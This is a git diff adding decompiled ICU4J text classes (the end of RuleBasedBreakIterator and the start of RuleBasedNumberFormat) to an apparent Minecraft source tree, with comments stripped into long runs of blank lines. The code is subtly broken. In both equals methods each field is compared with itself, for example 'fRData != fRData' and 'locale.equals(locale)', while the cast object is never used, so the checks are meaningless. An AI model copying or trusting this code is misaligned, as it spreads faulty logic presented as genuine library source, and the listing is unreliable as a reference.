+    catch (IOException e)
+    {
+      RuntimeException rte = new RuntimeException("RuleBasedBreakIterator rule compilation internal error: " + e.getMessage());
+      
+      throw rte;
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    RuleBasedBreakIterator result = (RuleBasedBreakIterator)super.clone();
+    if (fText != null) {
+      fText = ((CharacterIterator)fText.clone());
+    }
+    return result;
+  }
+  
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (that == null) {
+      return false;
+    }
+    if (this == that) {
+      return true;
+    }
+    try {
+      RuleBasedBreakIterator other = (RuleBasedBreakIterator)that;
+      if ((fRData != fRData) && ((fRData == null) || (fRData == null))) {
+        return false;
+      }
+      if ((fRData != null) && (fRData != null) && (!fRData.fRuleSource.equals(fRData.fRuleSource)))
+      {
+        return false;
+      }
+      if ((fText == null) && (fText == null)) {
+        return true;
+      }
+      if ((fText == null) || (fText == null)) {
+        return false;
+      }
+      return fText.equals(fText);
+    }
+    catch (ClassCastException e) {}
+    return false;
+  }
+  
+
+
+
+
+
+  public String toString()
+  {
+    String retStr = "";
+    if (fRData != null) {
+      retStr = fRData.fRuleSource;
+    }
+    return retStr;
+  }
+  
+
+
+
+
+
+  public int hashCode()
+  {
+    return fRData.fRuleSource.hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private CharacterIterator fText = new StringCharacterIterator("");
+  
+
+
+
+
+  /**
+   * @deprecated
+   */
+  RBBIDataWrapper fRData;
+  
+
+
+
+
+  private int fLastRuleStatusIndex;
+  
+
+
+
+
+  private boolean fLastStatusIndexValid;
+  
+
+
+
+
+  private int fDictionaryCharCount;
+  
+
+
+
+  private static final String RBBI_DEBUG_ARG = "rbbi";
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  private static final boolean TRACE = (ICUDebug.enabled("rbbi")) && (ICUDebug.value("rbbi").indexOf("trace") >= 0);
+  
+
+
+
+
+
+  private int fBreakType = 2;
+  
+
+
+
+
+
+  private final UnhandledBreakEngine fUnhandledBreakEngine = new UnhandledBreakEngine();
+  
+
+
+
+
+
+
+  private int[] fCachedBreakPositions;
+  
+
+
+
+
+
+
+  private int fPositionInCache;
+  
+
+
+
+
+
+  private boolean fUseDictionary = true;
+  
+  private final Set<LanguageBreakEngine> fBreakEngines = Collections.synchronizedSet(new HashSet());
+  
+
+
+  /**
+   * @deprecated
+   */
+  public void dump()
+  {
+    fRData.dump();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public static void compileRules(String rules, OutputStream ruleBinary)
+    throws IOException
+  {
+    RBBIRuleBuilder.compileRules(rules, ruleBinary);
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int first()
+  {
+    fCachedBreakPositions = null;
+    fDictionaryCharCount = 0;
+    fPositionInCache = 0;
+    fLastRuleStatusIndex = 0;
+    fLastStatusIndexValid = true;
+    if (fText == null) {
+      return -1;
+    }
+    fText.first();
+    return fText.getIndex();
+  }
+  
+
+
+
+
+
+  public int last()
+  {
+    fCachedBreakPositions = null;
+    fDictionaryCharCount = 0;
+    fPositionInCache = 0;
+    
+    if (fText == null) {
+      fLastRuleStatusIndex = 0;
+      fLastStatusIndexValid = true;
+      return -1;
+    }
+    
+
+
+
+
+    fLastStatusIndexValid = false;
+    int pos = fText.getEndIndex();
+    fText.setIndex(pos);
+    return pos;
+  }
+  
+
+
+
+
+
+
+
+
+
+  public int next(int n)
+  {
+    int result = current();
+    while (n > 0) {
+      result = handleNext();
+      n--;
+    }
+    while (n < 0) {
+      result = previous();
+      n++;
+    }
+    return result;
+  }
+  
+
+
+
+
+  public int next()
+  {
+    return handleNext();
+  }
+  
+
+
+
+
+
+  public int previous()
+  {
+    CharacterIterator text = getText();
+    
+    fLastStatusIndexValid = false;
+    
+
+
+    if ((fCachedBreakPositions != null) && (fPositionInCache > 0)) {
+      fPositionInCache -= 1;
+      text.setIndex(fCachedBreakPositions[fPositionInCache]);
+      return fCachedBreakPositions[fPositionInCache];
+    }
+    
+
+
+
+
+
+
+
+    fCachedBreakPositions = null;
+    
+    int offset = current();
+    int result = rulesPrevious();
+    if (result == -1) {
+      return result;
+    }
+    
+    if (fDictionaryCharCount == 0) {
+      return result;
+    }
+    
+    if (fCachedBreakPositions != null) {
+      fPositionInCache = (fCachedBreakPositions.length - 2);
+      return result;
+    }
+    
+    while (result < offset) {
+      int nextResult = handleNext();
+      if (nextResult >= offset) {
+        break;
+      }
+      
+      result = nextResult;
+    }
+    
+    if (fCachedBreakPositions != null) {
+      for (fPositionInCache = 0; fPositionInCache < fCachedBreakPositions.length; fPositionInCache += 1) {
+        if (fCachedBreakPositions[fPositionInCache] >= offset) {
+          fPositionInCache -= 1;
+          break;
+        }
+      }
+    }
+    
+
+
+
+
+    fLastStatusIndexValid = false;
+    text.setIndex(result);
+    
+    return result;
+  }
+  
+
+  private int rulesPrevious()
+  {
+    if ((fText == null) || (current() == fText.getBeginIndex())) {
+      fLastRuleStatusIndex = 0;
+      fLastStatusIndexValid = true;
+      return -1;
+    }
+    
+    if ((fRData.fSRTable != null) || (fRData.fSFTable != null)) {
+      return handlePrevious(fRData.fRTable);
+    }
+    
+
+
+
+
+
+
+
+    int start = current();
+    
+    CharacterIteration.previous32(fText);
+    int lastResult = handlePrevious(fRData.fRTable);
+    if (lastResult == -1) {
+      lastResult = fText.getBeginIndex();
+      fText.setIndex(lastResult);
+    }
+    int result = lastResult;
+    int lastTag = 0;
+    boolean breakTagValid = false;
+    
+
+
+
+    for (;;)
+    {
+      result = handleNext();
+      if ((result == -1) || (result >= start)) {
+        break;
+      }
+      lastResult = result;
+      lastTag = fLastRuleStatusIndex;
+      breakTagValid = true;
+    }
+    
+
+
+
+
+
+
+
+
+
+    fText.setIndex(lastResult);
+    fLastRuleStatusIndex = lastTag;
+    fLastStatusIndexValid = breakTagValid;
+    return lastResult;
+  }
+  
+
+
+
+
+
+
+  public int following(int offset)
+  {
+    CharacterIterator text = getText();
+    
+
+
+
+
+    if ((fCachedBreakPositions == null) || (offset < fCachedBreakPositions[0]) || (offset >= fCachedBreakPositions[(fCachedBreakPositions.length - 1)]))
+    {
+      fCachedBreakPositions = null;
+      return rulesFollowing(offset);
+    }
+    
+
+
+
+
+    fPositionInCache = 0;
+    
+    while ((fPositionInCache < fCachedBreakPositions.length) && (offset >= fCachedBreakPositions[fPositionInCache]))
+      fPositionInCache += 1;
+    text.setIndex(fCachedBreakPositions[fPositionInCache]);
+    return text.getIndex();
+  }
+  
+
+
+
+  private int rulesFollowing(int offset)
+  {
+    fLastRuleStatusIndex = 0;
+    fLastStatusIndexValid = true;
+    if ((fText == null) || (offset >= fText.getEndIndex())) {
+      last();
+      return next();
+    }
+    if (offset < fText.getBeginIndex()) {
+      return first();
+    }
+    
+
+
+
+
+    int result = 0;
+    
+    if (fRData.fSRTable != null)
+    {
+
+      fText.setIndex(offset);
+      
+
+
+      CharacterIteration.next32(fText);
+      
+      handlePrevious(fRData.fSRTable);
+      result = next();
+      while (result <= offset) {
+        result = next();
+      }
+      return result;
+    }
+    if (fRData.fSFTable != null)
+    {
+
+      fText.setIndex(offset);
+      CharacterIteration.previous32(fText);
+      
+      handleNext(fRData.fSFTable);
+      
+
+
+      int oldresult = previous();
+      while (oldresult > offset) {
+        result = previous();
+        if (result <= offset) {
+          return oldresult;
+        }
+        oldresult = result;
+      }
+      result = next();
+      if (result <= offset) {
+        return next();
+      }
+      return result;
+    }
+    
+
+
+
+
+
+
+
+
+    fText.setIndex(offset);
+    if (offset == fText.getBeginIndex()) {
+      return handleNext();
+    }
+    result = previous();
+    
+    while ((result != -1) && (result <= offset)) {
+      result = next();
+    }
+    
+    return result;
+  }
+  
+
+
+
+
+
+  public int preceding(int offset)
+  {
+    CharacterIterator text = getText();
+    
+
+
+
+
+    if ((fCachedBreakPositions == null) || (offset <= fCachedBreakPositions[0]) || (offset > fCachedBreakPositions[(fCachedBreakPositions.length - 1)]))
+    {
+      fCachedBreakPositions = null;
+      return rulesPreceding(offset);
+    }
+    
+
+
+
+
+    fPositionInCache = 0;
+    
+    while ((fPositionInCache < fCachedBreakPositions.length) && (offset > fCachedBreakPositions[fPositionInCache]))
+      fPositionInCache += 1;
+    fPositionInCache -= 1;
+    text.setIndex(fCachedBreakPositions[fPositionInCache]);
+    return text.getIndex();
+  }
+  
+
+
+
+
+  private int rulesPreceding(int offset)
+  {
+    if ((fText == null) || (offset > fText.getEndIndex()))
+    {
+      return last();
+    }
+    if (offset < fText.getBeginIndex()) {
+      return first();
+    }
+    
+
+
+
+
+
+    if (fRData.fSFTable != null)
+    {
+
+      fText.setIndex(offset);
+      
+
+
+      CharacterIteration.previous32(fText);
+      handleNext(fRData.fSFTable);
+      int result = previous();
+      while (result >= offset) {
+        result = previous();
+      }
+      return result;
+    }
+    if (fRData.fSRTable != null)
+    {
+      fText.setIndex(offset);
+      CharacterIteration.next32(fText);
+      
+      handlePrevious(fRData.fSRTable);
+      
+
+
+
+      int oldresult = next();
+      while (oldresult < offset) {
+        int result = next();
+        if (result >= offset) {
+          return oldresult;
+        }
+        oldresult = result;
+      }
+      int result = previous();
+      if (result >= offset) {
+        return previous();
+      }
+      return result;
+    }
+    
+
+    fText.setIndex(offset);
+    return previous();
+  }
+  
+
+
+
+  protected static final void checkOffset(int offset, CharacterIterator text)
+  {
+    if ((offset < text.getBeginIndex()) || (offset > text.getEndIndex())) {
+      throw new IllegalArgumentException("offset out of bounds");
+    }
+  }
+  
+
+
+
+
+
+
+
+
+  public boolean isBoundary(int offset)
+  {
+    checkOffset(offset, fText);
+    
+
+    if (offset == fText.getBeginIndex()) {
+      first();
+      return true;
+    }
+    
+    if (offset == fText.getEndIndex()) {
+      last();
+      return true;
+    }
+    
+
+
+
+
+
+
+
+    fText.setIndex(offset);
+    CharacterIteration.previous32(fText);
+    int pos = fText.getIndex();
+    boolean result = following(pos) == offset;
+    return result;
+  }
+  
+
+
+
+
+  public int current()
+  {
+    return fText != null ? fText.getIndex() : -1;
+  }
+  
+  private void makeRuleStatusValid() {
+    if (!fLastStatusIndexValid)
+    {
+      int curr = current();
+      if ((curr == -1) || (curr == fText.getBeginIndex()))
+      {
+        fLastRuleStatusIndex = 0;
+        fLastStatusIndexValid = true;
+      }
+      else {
+        int pa = fText.getIndex();
+        first();
+        int pb = current();
+        while (fText.getIndex() < pa) {
+          pb = next();
+        }
+        Assert.assrt(pa == pb);
+      }
+      Assert.assrt(fLastStatusIndexValid == true);
+      Assert.assrt((fLastRuleStatusIndex >= 0) && (fLastRuleStatusIndex < fRData.fStatusTable.length));
+    }
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRuleStatus()
+  {
+    makeRuleStatusValid();
+    
+
+
+
+
+
+
+
+    int idx = fLastRuleStatusIndex + fRData.fStatusTable[fLastRuleStatusIndex];
+    int tagVal = fRData.fStatusTable[idx];
+    return tagVal;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public int getRuleStatusVec(int[] fillInArray)
+  {
+    makeRuleStatusValid();
+    int numStatusVals = fRData.fStatusTable[fLastRuleStatusIndex];
+    if (fillInArray != null) {
+      int numToCopy = Math.min(numStatusVals, fillInArray.length);
+      for (int i = 0; i < numToCopy; i++) {
+        fillInArray[i] = fRData.fStatusTable[(fLastRuleStatusIndex + i + 1)];
+      }
+    }
+    return numStatusVals;
+  }
+  
+
+
+
+
+
+
+
+  public CharacterIterator getText()
+  {
+    return fText;
+  }
+  
+
+
+
+
+
+  public void setText(CharacterIterator newText)
+  {
+    fText = newText;
+    
+    int firstIdx = first();
+    if (newText != null) {
+      fUseDictionary = (((fBreakType == 1) || (fBreakType == 2)) && (newText.getEndIndex() != firstIdx));
+    }
+  }
+  
+
+  /**
+   * @deprecated
+   */
+  void setBreakType(int type)
+  {
+    fBreakType = type;
+    if ((type != 1) && (type != 2)) {
+      fUseDictionary = false;
+    }
+  }
+  
+  /**
+   * @deprecated
+   */
+  int getBreakType()
+  {
+    return fBreakType;
+  }
+  
+
+
+
+
+  static final String fDebugEnv = ICUDebug.enabled("rbbi") ? ICUDebug.value("rbbi") : null;
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  private LanguageBreakEngine getEngineFor(int c)
+  {
+    if ((c == Integer.MAX_VALUE) || (!fUseDictionary)) {
+      return null;
+    }
+    
+    for (LanguageBreakEngine candidate : fBreakEngines) {
+      if (candidate.handles(c, fBreakType)) {
+        return candidate;
+      }
+    }
+    
+
+    int script = UCharacter.getIntPropertyValue(c, 4106);
+    LanguageBreakEngine eng = null;
+    try {
+      switch (script) {
+      case 38: 
+        eng = new ThaiBreakEngine();
+        break;
+      case 17: 
+      case 20: 
+      case 22: 
+        if (getBreakType() == 1) {
+          eng = new CjkBreakEngine(false);
+        }
+        else {
+          fUnhandledBreakEngine.handleChar(c, getBreakType());
+          eng = fUnhandledBreakEngine;
+        }
+        break;
+      case 18: 
+        if (getBreakType() == 1) {
+          eng = new CjkBreakEngine(true);
+        } else {
+          fUnhandledBreakEngine.handleChar(c, getBreakType());
+          eng = fUnhandledBreakEngine;
+        }
+        break;
+      default: 
+        fUnhandledBreakEngine.handleChar(c, getBreakType());
+        eng = fUnhandledBreakEngine;
+      }
+    }
+    catch (IOException e) {
+      eng = null;
+    }
+    
+    if (eng != null) {
+      fBreakEngines.add(eng);
+    }
+    return eng;
+  }
+  
+
+
+
+
+
+
+
+  private int handleNext()
+  {
+    if ((fCachedBreakPositions == null) || (fPositionInCache == fCachedBreakPositions.length - 1)) {
+      int startPos = fText.getIndex();
+      
+
+
+
+      fDictionaryCharCount = 0;
+      int result = handleNext(fRData.fFTable);
+      
+
+
+
+      if ((fDictionaryCharCount > 1) && (result - startPos > 1)) {
+        fText.setIndex(startPos);
+        LanguageBreakEngine e = getEngineFor(CharacterIteration.current32(fText));
+        if (e != null)
+        {
+          Stack<Integer> breaks = new Stack();
+          e.findBreaks(fText, startPos, result, false, getBreakType(), breaks);
+          
+          int breaksSize = breaks.size();
+          fCachedBreakPositions = new int[breaksSize + 2];
+          fCachedBreakPositions[0] = startPos;
+          for (int i = 0; i < breaksSize; i++) {
+            fCachedBreakPositions[(i + 1)] = ((Integer)breaks.elementAt(i)).intValue();
+          }
+          fCachedBreakPositions[(breaksSize + 1)] = result;
+          
+          fPositionInCache = 0;
+        }
+        else {
+          fText.setIndex(result);
+          return result;
+        }
+        
+      }
+      else
+      {
+        fCachedBreakPositions = null;
+        return result;
+      }
+    }
+    
+
+
+
+    if (fCachedBreakPositions != null) {
+      fPositionInCache += 1;
+      fText.setIndex(fCachedBreakPositions[fPositionInCache]);
+      return fCachedBreakPositions[fPositionInCache];
+    }
+    
+
+    Assert.assrt(false);
+    return -1;
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  private int handleNext(short[] stateTable)
+  {
+    if (TRACE) {
+      System.out.println("Handle Next   pos      char  state category");
+    }
+    
+
+    fLastStatusIndexValid = true;
+    fLastRuleStatusIndex = 0;
+    
+
+    CharacterIterator text = fText;
+    CharTrie trie = fRData.fTrie;
+    
+
+    int c = text.current();
+    if (c >= 55296) {
+      c = CharacterIteration.nextTrail32(text, c);
+      if (c == Integer.MAX_VALUE) {
+        return -1;
+      }
+    }
+    int initialPosition = text.getIndex();
+    int result = initialPosition;
+    
+
+    int state = 1;
+    int row = fRData.getRowIndex(state);
+    short category = 3;
+    short flagsState = stateTable[5];
+    int mode = 1;
+    if ((flagsState & 0x2) != 0) {
+      category = 2;
+      mode = 0;
+      if (TRACE) {
+        System.out.print("            " + RBBIDataWrapper.intToString(text.getIndex(), 5));
+        System.out.print(RBBIDataWrapper.intToHexString(c, 10));
+        System.out.println(RBBIDataWrapper.intToString(state, 7) + RBBIDataWrapper.intToString(category, 6));
+      }
+    }
+    int lookaheadStatus = 0;
+    int lookaheadTagIdx = 0;
+    int lookaheadResult = 0;
+    
+
+    while (state != 0) {
+      if (c == Integer.MAX_VALUE)
+      {
+        if (mode == 2)
+        {
+
+
+
+          if (lookaheadResult <= result) {
+            break;
+          }
+          
+
+
+          result = lookaheadResult;
+          fLastRuleStatusIndex = lookaheadTagIdx; break;
+        }
+        
+
+
+        mode = 2;
+        category = 1;
+      }
+      else if (mode == 1)
+      {
+
+
+
+
+
+
+
+        category = (short)trie.getCodePointValue(c);
+        
+
+
+
+
+
+        if ((category & 0x4000) != 0) {
+          fDictionaryCharCount += 1;
+          
+          category = (short)(category & 0xBFFF);
+        }
+        
+        if (TRACE) {
+          System.out.print("            " + RBBIDataWrapper.intToString(text.getIndex(), 5));
+          System.out.print(RBBIDataWrapper.intToHexString(c, 10));
+          System.out.println(RBBIDataWrapper.intToString(state, 7) + RBBIDataWrapper.intToString(category, 6));
+        }
+        
+
+
+
+        c = text.next();
+        if (c >= 55296) {
+          c = CharacterIteration.nextTrail32(text, c);
+        }
+      }
+      else {
+        mode = 1;
+      }
+      
+
+      state = stateTable[(row + 4 + category)];
+      row = fRData.getRowIndex(state);
+      
+      if (stateTable[(row + 0)] == -1)
+      {
+        result = text.getIndex();
+        if ((c >= 65536) && (c <= 1114111))
+        {
+
+          result--;
+        }
+        
+
+        fLastRuleStatusIndex = stateTable[(row + 2)];
+      }
+      
+      if (stateTable[(row + 1)] != 0) {
+        if ((lookaheadStatus != 0) && (stateTable[(row + 0)] == lookaheadStatus))
+        {
+
+
+          result = lookaheadResult;
+          fLastRuleStatusIndex = lookaheadTagIdx;
+          lookaheadStatus = 0;
+          
+          if ((flagsState & 0x1) != 0) {
+            text.setIndex(result);
+            return result;
+          }
+          
+
+        }
+        else
+        {
+          lookaheadResult = text.getIndex();
+          if ((c >= 65536) && (c <= 1114111))
+          {
+
+            lookaheadResult--;
+          }
+          lookaheadStatus = stateTable[(row + 1)];
+          lookaheadTagIdx = stateTable[(row + 2)];
+        }
+        
+      }
+      else if (stateTable[(row + 0)] != 0)
+      {
+
+        lookaheadStatus = 0;
+      }
+    }
+    
+
+
+
+
+
+
+    if (result == initialPosition) {
+      if (TRACE) {
+        System.out.println("Iterator did not move. Advancing by 1.");
+      }
+      text.setIndex(initialPosition);
+      CharacterIteration.next32(text);
+      result = text.getIndex();
+
+    }
+    else
+    {
+
+      text.setIndex(result);
+    }
+    if (TRACE) {
+      System.out.println("result = " + result);
+    }
+    return result;
+  }
+  
+  private int handlePrevious(short[] stateTable) {
+    if ((fText == null) || (stateTable == null)) {
+      return 0;
+    }
+    
+
+    int category = 0;
+    
+
+
+    int lookaheadStatus = 0;
+    int result = 0;
+    int initialPosition = 0;
+    int lookaheadResult = 0;
+    boolean lookAheadHardBreak = (stateTable[5] & 0x1) != 0;
+    
+
+
+
+
+
+    fLastStatusIndexValid = false;
+    fLastRuleStatusIndex = 0;
+    
+
+    initialPosition = fText.getIndex();
+    result = initialPosition;
+    int c = CharacterIteration.previous32(fText);
+    
+
+    int state = 1;
+    int row = fRData.getRowIndex(state);
+    category = 3;
+    int mode = 1;
+    if ((stateTable[5] & 0x2) != 0) {
+      category = 2;
+      mode = 0;
+    }
+    
+    if (TRACE) {
+      System.out.println("Handle Prev   pos   char  state category ");
+    }
+    
+
+
+    for (;;)
+    {
+      if (c == Integer.MAX_VALUE)
+      {
+        if ((mode == 2) || (fRData.fHeader.fVersion == 1))
+        {
+
+
+
+          if (lookaheadResult < result)
+          {
+
+
+            result = lookaheadResult;
+            lookaheadStatus = 0; break; }
+          if (result != initialPosition) {
+            break;
+          }
+          fText.setIndex(initialPosition);
+          CharacterIteration.previous32(fText); break;
+        }
+        
+
+        mode = 2;
+        category = 1;
+      }
+      
+      if (mode == 1)
+      {
+
+
+        category = (short)fRData.fTrie.getCodePointValue(c);
+        
+
+
+
+
+
+        if ((category & 0x4000) != 0) {
+          fDictionaryCharCount += 1;
+          
+          category &= 0xBFFF;
+        }
+      }
+      
+
+      if (TRACE) {
+        System.out.print("             " + fText.getIndex() + "   ");
+        if ((32 <= c) && (c < 127)) {
+          System.out.print("  " + c + "  ");
+        } else {
+          System.out.print(" " + Integer.toHexString(c) + " ");
+        }
+        System.out.println(" " + state + "  " + category + " ");
+      }
+      
+
+
+      state = stateTable[(row + 4 + category)];
+      row = fRData.getRowIndex(state);
+      
+      if (stateTable[(row + 0)] == -1)
+      {
+
+        result = fText.getIndex();
+      }
+      
+      if (stateTable[(row + 1)] != 0) {
+        if ((lookaheadStatus != 0) && (stateTable[(row + 0)] == lookaheadStatus))
+        {
+
+
+
+
+          result = lookaheadResult;
+          lookaheadStatus = 0;
+          
+
+          if (lookAheadHardBreak)
+          {
+            break;
+          }
+          
+
+        }
+        else
+        {
+
+          lookaheadResult = fText.getIndex();
+          lookaheadStatus = stateTable[(row + 1)];
+        }
+        
+
+      }
+      else if (stateTable[(row + 0)] != 0)
+      {
+        if (!lookAheadHardBreak)
+        {
+
+
+
+
+
+
+          lookaheadStatus = 0;
+        }
+      }
+      
+
+
+
+      if (state == 0) {
+        break;
+      }
+      
+
+
+
+      if (mode == 1) {
+        c = CharacterIteration.previous32(fText);
+      }
+      else if (mode == 0) {
+        mode = 1;
+      }
+    }
+    
+
+
+
+
+
+
+
+
+    if (result == initialPosition) {
+      result = fText.setIndex(initialPosition);
+      CharacterIteration.previous32(fText);
+      result = fText.getIndex();
+    }
+    
+    fText.setIndex(result);
+    if (TRACE) {
+      System.out.println("Result = " + result);
+    }
+    
+    return result;
+  }
+}
diff --git a/src/minecraft/com/ibm/icu/text/RuleBasedNumberFormat.java b/src/minecraft/com/ibm/icu/text/RuleBasedNumberFormat.java
new file mode 100644
index 0000000..bb49041
--- /dev/null
+++ b/src/minecraft/com/ibm/icu/text/RuleBasedNumberFormat.java
@@ -0,0 +1,1821 @@
+package com.ibm.icu.text;
+
+import com.ibm.icu.impl.ICUDebug;
+import com.ibm.icu.impl.ICUResourceBundle;
+import com.ibm.icu.impl.PatternProps;
+import com.ibm.icu.util.ULocale;
+import com.ibm.icu.util.ULocale.Category;
+import com.ibm.icu.util.UResourceBundle;
+import com.ibm.icu.util.UResourceBundleIterator;
+import java.io.IOException;
+import java.io.ObjectInputStream;
+import java.io.ObjectOutputStream;
+import java.io.PrintStream;
+import java.math.BigInteger;
+import java.text.FieldPosition;
+import java.text.ParsePosition;
+import java.util.Arrays;
+import java.util.HashMap;
+import java.util.Locale;
+import java.util.Map;
+import java.util.MissingResourceException;
+import java.util.Set;
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+public class RuleBasedNumberFormat
+  extends NumberFormat
+{
+  static final long serialVersionUID = -7664252765575395068L;
+  public static final int SPELLOUT = 1;
+  public static final int ORDINAL = 2;
+  public static final int DURATION = 3;
+  public static final int NUMBERING_SYSTEM = 4;
+  private transient NFRuleSet[] ruleSets = null;
+  
+
+
+
+  private transient String[] ruleSetDescriptions = null;
+  
+
+
+
+
+  private transient NFRuleSet defaultRuleSet = null;
+  
+
+
+
+
+
+  private ULocale locale = null;
+  
+
+
+
+
+
+  private transient RbnfLenientScannerProvider scannerProvider = null;
+  
+
+
+
+  private transient boolean lookedForScanner;
+  
+
+
+
+  private transient DecimalFormatSymbols decimalFormatSymbols = null;
+  
+
+
+
+
+
+  private transient DecimalFormat decimalFormat = null;
+  
+
+
+
+
+  private boolean lenientParse = false;
+  
+
+
+
+
+  private transient String lenientParseRules;
+  
+
+
+
+  private transient String postProcessRules;
+  
+
+
+
+  private transient RBNFPostProcessor postProcessor;
+  
+
+
+
+  private Map<String, String[]> ruleSetDisplayNames;
+  
+
+
+
+  private String[] publicRuleSetNames;
+  
+
+
+
+  private static final boolean DEBUG = ICUDebug.enabled("rbnf");
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(String description)
+  {
+    locale = ULocale.getDefault(ULocale.Category.FORMAT);
+    init(description, (String[][])null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(String description, String[][] localizations)
+  {
+    locale = ULocale.getDefault(ULocale.Category.FORMAT);
+    init(description, localizations);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(String description, Locale locale)
+  {
+    this(description, ULocale.forLocale(locale));
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(String description, ULocale locale)
+  {
+    this.locale = locale;
+    init(description, (String[][])null);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(String description, String[][] localizations, ULocale locale)
+  {
+    this.locale = locale;
+    init(description, localizations);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(Locale locale, int format)
+  {
+    this(ULocale.forLocale(locale), format);
+  }
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(ULocale locale, int format)
+  {
+    this.locale = locale;
+    
+    ICUResourceBundle bundle = (ICUResourceBundle)UResourceBundle.getBundleInstance("com/ibm/icu/impl/data/icudt51b/rbnf", locale);
+    
+
+
+
+
+    ULocale uloc = bundle.getULocale();
+    setLocale(uloc, uloc);
+    
+    String description = "";
+    String[][] localizations = (String[][])null;
+    
+    try
+    {
+      description = bundle.getString(rulenames[(format - 1)]);
+    }
+    catch (MissingResourceException e) {
+      try {
+        ICUResourceBundle rules = bundle.getWithFallback("RBNFRules/" + rulenames[(format - 1)]);
+        UResourceBundleIterator it = rules.getIterator();
+        while (it.hasNext()) {
+          description = description.concat(it.nextString());
+        }
+      }
+      catch (MissingResourceException e1) {}
+    }
+    
+    try
+    {
+      UResourceBundle locb = bundle.get(locnames[(format - 1)]);
+      localizations = new String[locb.getSize()][];
+      for (int i = 0; i < localizations.length; i++) {
+        localizations[i] = locb.get(i).getStringArray();
+      }
+    }
+    catch (MissingResourceException e) {}
+    
+
+
+    init(description, localizations);
+  }
+  
+
+  private static final String[] rulenames = { "SpelloutRules", "OrdinalRules", "DurationRules", "NumberingSystemRules" };
+  
+
+  private static final String[] locnames = { "SpelloutLocalizations", "OrdinalLocalizations", "DurationLocalizations", "NumberingSystemLocalizations" };
+  
+
+
+
+
+
+
+
+
+
+
+
+
+
+  public RuleBasedNumberFormat(int format)
+  {
+    this(ULocale.getDefault(ULocale.Category.FORMAT), format);
+  }
+  
+
+
+
+
+
+
+
+
+  public Object clone()
+  {
+    return super.clone();
+  }
+  
+
+
+
+
+
+
+
+  public boolean equals(Object that)
+  {
+    if (!(that instanceof RuleBasedNumberFormat)) {
+      return false;
+    }
+    
+
+    RuleBasedNumberFormat that2 = (RuleBasedNumberFormat)that;
+    
+
+    if ((!locale.equals(locale)) || (lenientParse != lenientParse)) {
+      return false;
+    }
+    
+
+    if (ruleSets.length != ruleSets.length) {
+      return false;
+    }
+    for (int i = 0; i < ruleSets.length; i++) {
+      if (!ruleSets[i].equals(ruleSets[i])) {
+        return false;
+      }
+    }
+    
+    return true;
+  }
+  
+
+
+
+  /**
+   * @deprecated
+   */
+  public int hashCode()
+  {
+    return super.hashCode();
+  }
+  
+
+
+
+
+
+
+
+
+
+
+  public String toString()
+  {
+    StringBuilder result = new StringBuilder();
+    for (int i = 0; i < ruleSets.length; i++) {
+      result.append(ruleSets[i].toString());
+    }
+    return result.toString();
+  }
+  
+
+
+
+
+
+  private void writeObject(ObjectOutputStream out)
+    throws IOException
+  {
+    out.writeUTF(toString());
+    out.writeObject(locale);
+  }
+  
+
+
+
+
+
